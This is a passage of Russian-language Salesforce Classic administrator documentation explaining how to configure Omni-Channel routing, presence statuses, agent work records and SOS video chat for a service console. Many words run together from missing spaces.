Нерекомендуемщелкать ссылку «Правка»напротивименипрофиля. Впротивном
случае, раздел страницы, позволяющий включить статусы, будет недоступен.

3. Нажмитекнопку «Правка» вразделе «Доступк статусуприсутствияуслугивключен».

4. Выберите нужные статусы присутствия.

Агенты, назначенные данному профилю, могут выполнять вход в мультиканал
посредством любого доступного им статуса присутствия.

5. Нажмите кнопку «Сохранить».

Добавление виджета «Мультиканал» на консоль Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Мультиканал доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки
мультиканала:
• «Настройка

приложения»

Послеполнойнастройкимультиканаладляорганизациирекомендуемдобавить виджет
«Мультиканал»наконсоль Salesforceдляпредоставленияагентамвозможностиполучения
работы.

Виджет «Мультиканал» отображается в нижнем правом углу консоли Salesforce. Данный
виджет позволяет агентам изменять статус присутствия и определять очередность
входящих рабочих назначений.

Прим.: Если ваша организация использует Live Agent для управления чатами, вы
можете использовать виджет Live Agent или виджет мультиканала для управления
чатами, ноне оба виджета. Дополнительные сведения об управлении Live Agent см.
в разделе «Включение мультиканала в текущей реализации Live Agent».

1. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Приложения».

2. Щелкните ссылку «Правка» напротив нужного приложения консоли Salesforce.

3. Добавьте элемент «Мультиканал» в список выбранныхэлементов вразделе «Выбрать
компоненты консоли».

4. Нажмите кнопку «Сохранить».
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Определение доступных сведений о рабочих элементах в виджете «Мультиканал» посредством компактных макетов
Задумывались о настройке сведений, отображаемых агентам при получении нового рабочего элемента в виджете
«Мультиканал»? Теперь это возможно! Просто настройте основной компактныймакет для объекта данного рабочего
элемента.

Определение доступных сведений о рабочих элементах в виджете «Мультиканал»
посредством компактных макетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Мультиканал доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки
мультиканала:
• «Настройка

приложения»

Задумывались о настройке сведений, отображаемых агентам при получении нового
рабочего элемента в виджете «Мультиканал»? Теперь это возможно! Просто настройте
основной компактный макет для объекта данного рабочего элемента.

Как правило, запросы на новые рабочие элементы уже отображают некоторые поля по
умолчанию. Например, запрос на управление обращением, полученный агентом, по
умолчаниюсодержитполяприоритета, статусаиномераобращения. Компактныймакет
объекта определяет все доступные поля в виджете мультиканала. При необходимости
пользователям может быть доступна дополнительная информация (например, имя
ответственного за обращение или тема обращения). Просто измените основной
компактный макет, добавив в него поля, которые должны отображаться в виджете.

Совет: Ввиду компактности виджета «Мультиканал», количество отображаемых
полей сильно ограничено. Несмотря на техническую возможность добавления
10 полейвкомпактныймакет, виджетмультиканалабудетотображать только 4 поля.
Рекомендуем выбрать не более 4 наиболее важных полей и добавить их в
компактный макет.

1. Определите объект, компактный макет которого должен редактироваться.

2. В настройках управления объекта, рабочий элемент которого нужно изменить,
выберите пункты «Компактные макеты» и «Создать».

Например, чтобы изменить компактный макет для обращений, перейдите в параметры управления объектами для
обращений, выберите «Компактные макеты» и «Создать».

3. Настройте параметры компактного макета, включая нужные поля. Выбранные поля отображаются в виджете
мультиканала при получении запроса агентом.

4. Нажмите кнопку «Сохранить».

5. Замените основной компактный макет новым макетом, нажав кнопки «Назначение компактного макета» >
«Редактировать назначение».

6. Выберите новый компактный макет из раскрывающегося списка «Основной компактный макет».

7. Нажмите кнопку «Сохранить».
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Тестирование внедрения мультиканала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Мультиканал доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки
мультиканала:
• «Настройка

приложения»

После включения и настройки мультиканала рекомендуем протестировать внедрение
для проверки правильности его работы.

Чтобы протестировать внедрение, маршрутизируйте рабочий элемент самому себе
посредством консоли Salesforce.

1. Выполните вход на консоль Salesforce.

Убедитесь, что выполняете вход от имени пользователя, которому доступно
использованиемультиканала. Вцеляхтестированияфункцииубедитесь, чтоявляетесь
единственным агентом, выполнившим вход в мультиканал.

2. Выберите статус, позволяющий получать входящие рабочие элементы, в виджете
«Мультиканал».

3. Выберите запись, соответствующую каналам текущего статуса присутствия, на
консоли.

Например, привыполнениивхода состатусом «Доступендляобращений» выберите
списокоткрытыхобращенийнаконсоли. Статус «Доступендляобращений» указывает
на связь с каналом обслуживания для обращений. Таким образом, при наличии
данного статуса пользователю не могут назначаться другие рабочие элементы
(например, интересы).

4. Установите флажок напротив нужной записи.

5. Щелкните «Изменить ответственного».
Данное действие инициирует переадресацию на страницу изменения ответственного за обращение.

6. Выберите значение «Очередь» в списке «Ответственный».

7. Введите имя очереди, связанной с конфигурацией маршрутизации.

Готово! Уведомление о входящем запросе будет отображено виджетом «Мультиканал» через несколько секунд.
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Включение мультиканала посредством текущего внедрения Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Мультиканал доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Вам нравится Live Agent и вы хотите добавить в него мультиканал? Ниже приведены
соответствующие изменения для вас и вашей организации (но не для ваших агентов!).

Допустим, организациярешаетповысить уровеньобслуживанияклиентовпосредством
приложения Live Agent в сочетании с мультиканалом. Замечательно! После полной
настройки вы заметите, что оба компонента прекрасно взаимодействуют друг с другом.
Втожевремяпередуправлениемпотокамичатовпосредством Live Agent вмультиканале
необходимо ознакомиться со следующей информацией.

Приложение Live Agent использует конфигурации Live Agent, которые определяют
алгоритмыипараметры, доступныепользователям Live Agent. Аналогично, мультиканал
использует конфигурации присутствия, которые определяют алгоритмы и параметры,
доступные пользователям мультиканала. Приложение Live Agent можно интегрировать
в мультиканал таким образом, чтобы чаты направлялись, как любые другие рабочие
элементы. В таком случае ваши агенты смогут принимать или отклонять запросы на чат
прямо в виджете мультиканала.

Прим.: При активации приложения Live Agent с мультиканалом пропускной
способностьючатаможнобудетуправлятьпосредствомконфигурацииприсутствия
наряду с другими рабочими элементами. Чаты, направленные через мультиканал,
всегда занимают 1 единицупропускной способности. Помните этопринастройке
пропускной способности агентов чата с помощью конфигурации присутствия.

При интеграции Live Agent с мультиканалов ваши пользователи Live Agent станут также
пользователями мультиканала, в результате чего потребуется связать ваших агентов с
конфигурацией Live Agentиконфигурациейприсутствия. Привключениимультиканала
посредствомтекущего внедрения Live Agent система Salesforce автоматическивыполняет
наиболеесложныедействия. СистемаSalesforceсоздаетсоответствующуюконфигурацию
присутствиядлякаждойконфигурацииLive Agent, доступнойворганизации. Приналичии
несколькихконфигурацийLive AgentсистемаSalesforceсоздаетотдельнуюконфигурацию
присутствия для каждой конфигурации Live Agent.

Например, приложение Live Agent уже включено организацией, содержащей 20 агентов, обрабатывающих чаты. Данные
агенты назначены конфигурации Live Agent.

При включении мультиканала система Salesforce автоматически создает новую конфигурацию присутствия,
соответствующую конфигурации Live Agent. Затем система Salesforce автоматически назначает новую конфигурацию
присутствия всем 20 агентам чата. Данный алгоритм позволяет исключить вероятность нарушения бизнес-процессов
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агентов при включении мультиканала путем предоставления возможности принятия чатов посредством виджета
«Мультиканал» прямо на консоли.

Справочные материалы

Как работает маршрутизация мультиканала?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Мультиканал доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Не знаете как использовать модели данных? Хотите получить полное представление о
процессемаршрутизациимультиканаломрабочихэлементовагентам? Тогдапросмотрите
данный раздел. Мультиканал позволяет своевременно доставлять рабочие элементы
соответствующимагентам, предоставляя сотрудникам службыподдержки возможность
эффективного решения проблем клиентов. Но, как работает маршрутизация изнутри?
Рассмотрим данный вопрос подробнее.

Мультиканал маршрутизирует работу посредством двух отдельных процессов.

• Во-первых, мультиканал маршрутизирует агенту новый рабочий элемент,
назначенныйочередимультиканала. Мультиканалмаршрутизируетрабочиеэлементы
по приоритету очереди, которой они назначаются, поэтому сначала агентам
доставляютсянаиболееважныерабочиеэлементы. Затеммаршрутизацияэлементов
выполняетсяповремениихнахождениявочереди. Сначала агентамдоставляютсянаиболеедавниерабочие элементы.
(Более подробное описание данного процесса см. ниже.)

• Во-вторых, мультиканал выполняет поиск рабочего элемента, который может быть маршрутизирован агенту при
изменении условий его доступности (например, при сбросе статуса «Отошел» или завершении другого рабочего
элемента).

Маршрутизация новых рабочих элементов
Созданный рабочий элемент назначается очереди. При связывании данной очереди с конфигурацией маршрутизации
данный элемент добавляется в список элементов, ожидающих маршрутизации агентам.

Затем мультиканал определяет доступных агентов, а также текущий объем работы каждого агента. Данная информация
поступает из API-объекта UserServicePresence, отслеживающего текущую нагрузку агента для рабочих элементов.
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Маршрутизация отложенных рабочих элементов
При добавлении нового рабочего элемента в список отложенных элементов мультиканал определяет возможность его
немедленной маршрутизации агенту.

Сначаламыопределяемналичиеактивныхагентовсостатусомприсутствия, связаннымснужнымканаломобслуживания.
Допустим, организацияполучаетновоеобращение, котороеназначаетсяочередимультиканала. Мультиканалопределяет
наличие канала обслуживания для обращений. Затеммыпроверяем активных агентовнаналичие статуса, позволяющего
им получать новые обращения.

РезультатСценарий

При отсутствии активного агента с нужным статусом мы
сохраняем рабочий элемент в списке элементов, которые
должны быть назначены агенту.

Агенты недоступны.

При наличии как минимум одного доступного агента мы
проверяем нагрузку каждого агента на предмет получения

Агенты доступны, но их нагрузка исключает получение
новой работы.

нового рабочего элемента. При отсутствии агентов с
нужнойнагрузкоймысохраняемрабочийэлементв списке.

При наличии агентов, которые, во-первых, являются
доступными, а во-вторых, имеют неполную нагрузку, мы

Агентыдоступны, аихнагрузкапозволяетполучениеновой
работы.

проверяем агентов на предмет их соответствия рабочему
элементу на основе параметров маршрутизации
организации.

Есликонфигурациямаршрутизациииспользуетмодель
маршрутизации «Наименее активные», то мы ищем
агента, имеющего наименьший объем работы по
сравнению с другими доступными агентами. Затем мы
маршрутизируем рабочий элемент данному агенту.

Есликонфигурациямаршрутизациииспользуетмодель
маршрутизации «Самыедоступные», томыищемагента,
имеющего наибольшее различие между максимальным
объемом работы, который может им выполняться, и
объемом работы, выполняемым в настоящее время. Затем
мы маршрутизируем рабочий элемент данному агенту.

Что происходит при наличии связи между двумя и
более агентами? В данном случае рабочий элемент
передается агенту, ожидающемуновогорабочегоэлемента
дольше других. Таким образом, данный принцип работы
обеспечиваетравномерноераспределениенагрузкимежду
всеми сотрудниками службы поддержки.

Изменение условий доступности агента
При выполнении входа в мультиканал, завершении рабочего элемента или изменении статуса агента мультиканал
проверяет наличие рабочих элементов, которые могут быть приняты данными агентами.
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РезультатСценарий

Мы двигаемся дальше без выполнения дополнительных
проверок.

Агент отошел.

Мы останавливаемся, но имеем преимущество.Агент доступен, но его нагрузка исключает получение
новой работы.

Мыобращаемся к списку рабочих элементов, ожидающих
маршрутизации агенту. Мы проверяем агента на

Агент доступен, а его нагрузка позволяет получение новой
работы.

соответствие текущим требованиям — исходя из нагрузки
агента, необходимой для обработки объектов, и канала
обслуживания, связанного со статусом агента. Например,
при назначении активному агенту статуса, позволяющего
обрабатыватьобращения, мыпроверяемсписокнаналичие
обращений.

Еслисписоксодержитрабочиеэлементы, соответствующие
квалификацииагента, томаршрутизацииподлежитэлемент
с самым высокимприоритетом. Приналичии двух и более
элементов с одинаковым приоритетом маршрутизации
подлежит наиболее давний элемент.

Перемаршрутизация рабочего элемента
Иногда агентотклоняетрабочийэлементилистановитсянедоступнымдоначала егообработки. Вданномслучаерабочий
элемент подлежит перемаршрутизации другому соответствующему агенту.

Сначала Salesforce автоматически меняет владельца рабочего элемента на очередь, из которой первоначально был
направлен объект. Затем мы попытаемся направить рабочий элемент другому агенту (агенту B), отличному от агента,
который отклонил его (агент A). Тем не менее, рабочий элемент может быть повторно маршрутизирован отклонившему
его агенту (агент А) при изменении статуса агента А или выполнении как минимум одной попытки маршрутизации
рабочего элемента агенту Б. Данные действия будут выполняться до тех пор, пока рабочий элемент не будет передан
другому соответствующему агенту.

Таким образом, мультиканал позволяет правильно организовать работу агентов, обслуживание клиентов и обработку
рабочих элементов.

Поддерживаемые объекты для мультиканала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Мультиканал доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Мультиканалпозволяетповыситьпроизводительностьагентовпутемназначениязаписей
врежимереальноговремени. Какиеобъектыизаписиподдерживаютсямультиканалом?

В настоящее время мультиканал поддерживает маршрутизацию для указанных ниже
объектов и записей.

• Обращения

• Чаты

• Видеовызовы SOS

• Сообщения социальной сети

• Заказы
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• Интересы

• Настраиваемые объекты

Поля для записей работы агента
При каждой маршрутизации объекта агенту посредством мультиканала система Salesforce создает запись работы агента
для регистрации сведений о рабочем назначении и способе его маршрутизации. Записи работы агента содержат поля,
позволяющие отслеживать сведения о текущих назначениях агентов. Рабочий элемент, маршрутизируемый несколько
раз, связывается с несколькими записями работы агента.

Нижеперечисленыдоступныеполя. Взависимостиотиспользуемогомакета страницыипараметровбезопасностиполя,
некоторые поля могут быть скрыты или недоступны для редактирования.

ОпределениеПоле

Дата и время принятия агентом рабочего элемента.Дата принятия

Значениепроизводительностиагента, доступноенамомент
отклонения рабочего элемента.

Производительность агента при отклонении

Код Salesforce для записи работы агента.Код работы агента

Дата и время назначения агенту рабочего элемента, а также
его доставки в виджет «Мультиканал» агента.

Дата назначения

Датаи время закрытия агентомвкладкиконсоли, связанной
с рабочим элементом, путемназначения статуса «Закрыто»
записи работы агента.

Дата закрытия

Имя агента, принявшего рабочий элемент.Создано

Дата создания рабочего элемента.Дата создания

Дата отклонения агентом рабочего элемента.Дата отклонения

Дата последнего изменения рабочего элемента.Дата последнего изменения

Уникальный создаваемый системой Salesforce номер для
записи работы агента.

Имя

Процент производительности, используемый рабочим
элементом из общей возможной производительности
агента.

Процент производительности

Очередь Salesforce, используемая для маршрутизации
рабочего элемента.

Очередь

Дата и время назначения объекта Salesforce очереди путем
создания связанного рабочего элемента.

Дата запроса

Канал обслуживания, связанный с рабочим элементом.Канал обслуживания

Время (в секундах), прошедшее после создания рабочего
элемента («Дата запроса») до его принятия агентом («Дата
принятия»).

Скорость ответа
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ОпределениеПоле

Статус записи работы агента (включая «Назначено»,
«Открыто», «Закрыто» или «Отклонено»).

Статус

Количество единиц производительности агента,
используемое рабочим элементом из общей возможной
производительности агента.

Единицы производительности

Имя агента, выбранного для маршрутизации рабочего
элемента.

Пользователь

Имярабочегоэлемента, связанногосзаписьюработыагента
(например, «Обращение 123456»).

Рабочий элемент

Поля для записей присутствия пользователя
При каждом изменении статусов присутствия агентов в мультиканале система Salesforce создает запись присутствия
пользователя для регистрации всех действий агентов на протяжении времени их входа посредством данного статуса.
Записи присутствия пользователя содержат поля, позволяющие отслеживать сведения о доступности агентов.

Нижеперечисленыдоступныеполя. Взависимостиотпараметровбезопасностиполя, некоторыеполямогутбыть скрыты
или недоступны для редактирования.

ОпределениеПоле

Время (в секундах), затраченное агентом на работу при
максимальной нагрузке (в соответствии с конфигурацией
присутствия агента).

Продолжительность максимальной нагрузки

Общая производительность агента (в соответствии с
конфигурацией присутствия агента).

Настроенная производительность

Имя агента, определившего статус присутствия в
мультиканале.

Создано

Дата создания записи присутствия пользователя.Дата создания

Время (в секундах), затраченное агентом при отсутствии
назначенных рабочих элементов.

Продолжительность простоя

Данноеполеопределяет, являетсяли статус агента статусом
«Занят».

Отошел

Данное поле определяет, является ли статус присутствия
агентавполе «Статусприсутствияуслуги» текущимстатусом
присутствия агента.

Является текущим статусом

Дата последнего изменения записи присутствия
пользователя.

Дата последнего изменения

API-имя статуса присутствия, используемое агентом для
входа в мультиканал.

Статус присутствия услуги
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ОпределениеПоле

Время (в секундах), затраченное статусом агента на
использованиестатусаприсутствия, указанноговполе «Имя
статуса».

Продолжительность статуса

Датаи время выхода агентаизмультиканалаилиизменения
на другой статус присутствия.

Дата окончания статуса

Дата и время определения статуса присутствия агентом.Дата начала статуса

Имя агента, выполнившего вход в мультиканал.Пользователь

Автоматически создаваемый код Salesforce для записи
присутствия пользователя.

Код присутствия пользователя

Настраиваемое имя агента.Псевдоним

Имя пользователя Salesforce агента.Имя пользователя

Имя статусаприсутствия, используемое агентамидля входа
в мультиканал.

Имя статуса

Настройка видеочата SOS и функции общего доступа к экрану

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

SOS доступен за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Задумываетесьоб абсолютноновомспособеобщения с клиентами? SOS — эторешение
по мобильной поддержке Service Cloud. SOS позволяет добавлять кнопку справки в
собственное мобильное приложение iOS или Android для предоставления клиентам
возможности общения с агентами посредством одностороннего видеочата или
двухстороннего аудиочата.

Время общения клиентов с безымянными и безликими агентами по телефону давно
прошло. Теперь клиенты могут взаимодействовать с агентами посредством видеочата,
поддерживающего функцию общего доступа к экрану и аннотации для получения
индивидуальных консультаций.
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SOS интегрируется на консоль Salesforce для Service Cloud. Агенты могут быстро просматривать обращения, записи
организаций и сведения о клиентах прямо во время видеовызовов. Кроме того, возможность рисования на экранах
клиентов во время сеанса SOS позволяет агентам более наглядно решать проблемы клиентов. Таким образом, клиенты
получают индивидуальную комплексную поддержку, а агентам отображается информация, необходимая для решения
проблем клиентов прямо на консоли.

Кроме того, SOS полностью интегрируется в мультиканал (механизм маршрутизации Service Cloud). Рекомендуем
использоватьмультиканалдлянастройкиспособамаршрутизациирабочихэлементов (включаявидеовызовы SOS) агентам.
Маршрутизациявызовов SOS свободнымагентаморганизациивыполняетсяврежимереальноговремени — безстороннего
механизма маршрутизации!

Дополнительную информацию об интеграции SOS в мобильные приложения см. в пакете SOS iOS SDK.

Прежде чем настроить SOS, включите мультиканал в организации.

1. Создание статуса присутствия SOS

Статусы присутствия определяют доступность агента (в сети, отошел, не в сети) для получения входящих рабочих
элементов. Рекомендуемсоздатьстатусприсутствия, позволяющийагентамопределятьсвоюдоступностьдляполучения
вызовов SOS.
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2. Предоставление пользователям доступа к статусам присутствия SOS посредством наборов полномочий
Статусы присутствия определяют доступность агента (в сети, отошел, не в сети) для получения входящих рабочих
элементов. Предоставьте агентам SOS доступ к статусу присутствия SOS, позволяющему получать вызовы SOS.

3. Предоставление пользователям доступа к статусам присутствия SOS посредством профилей
Статусы присутствия определяют доступность агента (в сети, отошел, не в сети) для получения входящих рабочих
элементов. Предоставьте агентам SOS доступ к статусу присутствия SOS, позволяющему получать вызовы SOS.

4. Создание конфигураций маршрутизации SOS

Конфигурации маршрутизации определяют способ маршрутизации рабочих элементов агентам. Они позволяют
определять приоритеты для относительной важности и размера рабочих элементов в очередях. Данный алгоритм
позволяет соответствующим образом обрабатывать самые важные рабочие элементы и равномерно распределять
работу между агентами. Рекомендуем создать конфигурацию маршрутизации SOS для определения способа
распределения вызовов SOS между агентами.

5. Создание очереди SOS

Очереди — это классический элемент системы Salesforce, позволяющий рабочим группам управлять интересами,
обращениями, сервисными контрактами и настраиваемыми объектами. Мультиканал значительно повышает
производительностьочередей, позволяямаршрутизироватьрабочие элементы агентам в режимереального времени.
Рекомендуем создать очередь SOS для перенаправления вызовов SOS агентам SOS. Затем очередь SOS будет связана с
созданной ранее конфигурацией маршрутизации SOS.

6. Обновление параметров консоли Salesforce

После полной настройки SOS для организации рекомендуем обновить некоторые параметры на консоли Salesforce
для предоставления агентам возможности получения работы.

7. Создание развертывания SOS

Рекомендуемсоздатьразвертывание SOS дляинтеграциипараметров SOS изсистемыSalesforceвмобильноеприложение.

Создание статуса присутствия SOS

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

SOS доступен за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки SOS:
• «Настройка

приложения»

Статусы присутствия определяют доступность агента (в сети, отошел, не в сети) для
получения входящих рабочих элементов. Рекомендуем создать статус присутствия,
позволяющий агентам определять свою доступность для получения вызовов SOS.

Статусприсутствияможетбыть связанкакминимумсоднимканаломрабочихэлементов.
Свяжитестатусприсутствия SOS сканаломобслуживания SOS. Данныйалгоритмпозволяет
агентам получать вызовы SOS при выполнении входа посредством статуса присутствия
SOS.

1. Введите строку «Присутствие» в поле «Быстрый поиск» в меню «Настройка», затем
выберите пункт «Статусы присутствия» ищелкните «Создать».

2. Введите имя статуса.

Например, «Доступен для SOS». Версия данного имени автоматически добавляется
в поле «Имя разработчика».

3. Установите переключатель «В сети» в разделе «Параметры статуса».

4. Добавьте канал «SOS» в список «Выбранныеканалы» раздела «Каналыобслуживания».

5. Нажмите кнопку «Сохранить».
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Предоставление пользователям доступа к статусам присутствия SOS посредством
наборов полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

SOS доступен за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки SOS:
• «Настройка

приложения»

Для изменения наборов
полномочий:
• «Управление

профилями и наборами
полномочий»

Статусы присутствия определяют доступность агента (в сети, отошел, не в сети) для
получения входящих рабочих элементов. Предоставьте агентам SOS доступ к статусу
присутствия SOS, позволяющему получать вызовы SOS.

При необходимости предоставьте пользователям доступ к статусам присутствия
посредством профилей.

1. Введите строку «Наборы полномочий» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Наборы полномочий».

2. Щелкните имя набора полномочий, содержащего агентов SOS.

3. Щелкните ссылку «Доступ к статусам присутствия услуги».

4. Нажмите кнопку «Правка».

5. Выберите созданный ранее статус присутствия SOS («Доступен для SOS»).

6. Нажмите кнопку «Сохранить».
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Предоставление пользователям доступа к статусам присутствия SOS посредством
профилей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

SOS доступен за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки SOS:
• «Настройка

приложения»

Для изменения профилей:
• «Управление

профилями и наборами
полномочий»

Статусы присутствия определяют доступность агента (в сети, отошел, не в сети) для
получения входящих рабочих элементов. Предоставьте агентам SOS доступ к статусу
присутствия SOS, позволяющему получать вызовы SOS.

При необходимости предоставьте пользователям доступ к статусам присутствия
посредством наборов полномочий.

1. Вразделе «Настройка» введите «Профили» вполе «Быстрый поиск», затемвыберите
«Профили».

2. Щелкните имя профиля, содержащего агентов SOS.

Нерекомендуемщелкать ссылку «Правка»напротивименипрофиля. Впротивном
случае, раздел страницы, позволяющий включить статусы, будет недоступен.

3. Нажмитекнопку «Правка» вразделе «Доступк статусуприсутствияуслугивключен».

4. Выберите нужный статус присутствия SOS («Доступен для SOS»).

5. Нажмите кнопку «Сохранить».

Создание конфигураций маршрутизации SOS

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

SOS доступен за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки SOS:
• «Настройка

приложения»

Конфигурациимаршрутизацииопределяютспособмаршрутизациирабочихэлементов
агентам. Онипозволяютопределятьприоритетыдляотносительнойважностииразмера
рабочих элементов в очередях. Данный алгоритмпозволяет соответствующимобразом
обрабатыватьсамыеважныерабочиеэлементыиравномернораспределятьработумежду
агентами. Рекомендуем создать конфигурацию маршрутизации SOS для определения
способа распределения вызовов SOS между агентами.

Созданиеданнойконфигурацииинициирует автоматическое созданиеочереди SOS для
вызовов SOS. Затем конфигурация маршрутизации связывается с очередью SOS,
предоставляя агентам возможность получения вызовов после настройки SOS.

1. Введите строку «Маршрутизация» в поле «Быстрый поиск» в меню «Настройка»,
затем выберите пункт «Конфигурации маршрутизации» ищелкните «Создать».

2. Введите имя конфигурации маршрутизации.

Например, «Конфигурация маршрутизации SOS». Версия данного имени
автоматически добавляется в поле «Имя разработчика».

3. Определите приоритет маршрутизации.

Если вызовы SOS являются наиболее важными или единственными рабочими
элементами, которые могут обрабатываться агентами, задайте приоритету
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маршрутизации значение «1». Данныйприоритет позволяет маршрутизировать вызовы SOS агентам раньше других
типов рабочих элементов.

4. Выберите нужную модель маршрутизации.

5. Задайте полю «Процент производительности» значение «100».

Одновременно агенты могут принимать только один вызов SOS; вызовы SOS используют 100% производительности
агента.

6. Нажмите кнопку «Сохранить».

Создание очереди SOS

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

SOS доступен за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки SOS:
• «Настройка

приложения»

Очереди — этоклассическийэлементсистемыSalesforce, позволяющийрабочимгруппам
управлять интересами, обращениями, сервисными контрактами и настраиваемыми
объектами. Мультиканалзначительноповышаетпроизводительностьочередей, позволяя
маршрутизироватьрабочиеэлементыагентамврежимереальноговремени. Рекомендуем
создать очередь SOS для перенаправления вызовов SOS агентам SOS. Затем очередь SOS
будет связана с созданной ранее конфигурацией маршрутизации SOS.

Рабочим элементам очереди SOS назначается приоритет, выбранный в конфигурации
маршрутизации SOS, созданной ранее.

Чтобы гарантировать правильную работу маршрутизации, назначьте каждого агента
очереди, из которой они будут получать рабочие элементы.

Дополнительнуюинформациюобочередяхсм. вразделе «Общиесведенияобочередях»
справки Salesforce.

1. Введите строку «Очереди» в поле «Быстрый поиск» в меню «Настройка», затем
выберите пункт «Очереди».

2. Нажмите кнопку «Создать».

3. Введите имя очереди в поле «Метка».

Например, «Очередь SOS». Версия данногоимени автоматическидобавляется в поле
«Имя очереди».

4. Найдитеи выберите созданнуюранее конфигурациюмаршрутизации («Конфигурациямаршрутизации SOS») в поле
«Конфигурация маршрутизации».

5. Добавьте объект «Сеанс SOS» в список выбранных объектов раздела «Поддерживаемые объекты».

6. Добавьте каждого нужного агента в поле «Выбранные пользователи» раздела «Участники очереди».

7. Нажмите кнопку «Сохранить».
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Обновление параметров консоли Salesforce

ВЕРСИИ

Доступно в: Salesforce
Classic.

SOS доступен за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки приложения
консоли:
• «Настройка

приложения»

После полной настройки SOS для организации рекомендуем обновить некоторые
параметры на консоли Salesforce для предоставления агентам возможности получения
работы.

Рекомендуем добавить виджеты «Мультиканал» и «SOS» на консоль, а также добавить
URL-адрес salesforceliveagent.com в список разрешенных.

Виджеты «SOS» и «Мультиканал»отображаютсявнижнемколонтитулеконсоли Salesforce.
Виджет «Мультиканал» позволяет агентам изменять статус присутствия и определять
очередность входящихрабочихназначений, включая вызовы SOS. Вызов SOS, принятый
агентом, открываетсяпосредствомвиджета «SOS», позволяющегоагентампросматривать
экран клиента.

Чтобыисключитьблокировкувызововбрандмауэрамикомпании, рекомендуемдобавить
URL-адрес salesforceliveagent.com в список разрешенных. Данный алгоритм
позволяет гарантировать безопасность всех вызовов SOS клиентов для агентов.

1. Введите строку «Приложения» в поле «Быстрый поиск» меню «Настройка» и
выберите пункт «Приложения».

2. Щелкните ссылку «Правка» напротив нужного приложения консоли Salesforce.

3. Добавьте элементы «Мультиканал» и «SOS» в список выбранных элементов в разделе
«Выбрать компоненты консоли».

4. Добавьте URL-адрес salesforceliveagent.com в список разрешенных доменов в поле «Добавить домены в
список разрешенных».

5. Нажмите кнопку «Сохранить».

Создание развертывания SOS

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

SOS доступен за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания развертываний
SOS:
• «Настройка

приложения»

Рекомендуем создать развертывание SOS для интеграции параметров SOS из системы
Salesforce в мобильное приложение.

Созданномуразвертыванию SOS назначаетсяуникальныйкод. Мобильныеразработчики
используют данный код развертывания для интеграции параметров SOS из системы
Salesforce в мобильное приложение.

1. Введитестроку «Развертывания SOS» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Развертывания SOS».

2. Нажмите кнопку «Создать».

3. Настройте параметры развертывания.

4. Нажмите кнопку «Сохранить».

5. Скопируйтекодразвертывания SOS состраницысведенийиотправьтеегомобильным
разработчикам.

Интеграцияразвертывания SOS вмобильноеприложениевыполняетсямобильными
разработчиками посредством пакета SOS iOS SDK.
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Параметры развертывания SOS

Параметры развертывания SOS определяют способ интеграции параметров SOS системы Salesforce в мобильное
приложение.

Параметры развертывания SOS

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

SOS доступен за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Параметрыразвертывания SOS определяютспособинтеграциипараметров SOS системы
Salesforce в мобильное приложение.

Ниже перечислены параметры, доступные при создании или редактировании
развертывания SOS.

Выполняемые функцииПараметр

Данный параметр определяет имя
развертывания.

Данноеимяилиего версия автоматически
добавляется в поле «API-имя».

Имя развертывания SOS

Данный параметр определяет API-имя
развертывания Live Agent.

API-имя

Данный параметр активирует
развертывание, позволяя клиентам

Активировать развертывание

